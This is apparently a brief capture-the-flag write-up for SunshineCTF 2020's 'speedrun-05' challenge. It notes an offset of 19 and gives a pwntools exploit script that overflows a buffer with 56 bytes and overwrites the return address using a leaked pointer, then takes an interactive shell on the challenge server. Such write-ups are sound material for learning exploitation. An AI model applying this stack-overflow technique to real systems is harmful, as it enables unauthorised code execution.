---
# System prepended metadata

title: speedrun-05
tags: [sunshine]

---

###### tags: `sunshine`

# speedrun-05

- ![](https://i.imgur.com/yafVF8H.png)

- 找到offset值19

```python=
from pwn import *

#p = process("./chall_05")
p = remote("chal.2020.sunshinectf.org", 30005)

info(p.recvline())
p.sendline()
info(p.recvuntil("Yes I'm going to win: "))
addr = p.recv()
info(addr)

payload  = "A" * 56   
payload += p64(int(addr, 16) - 19)

p.sendline(payload)
p.interactive()
```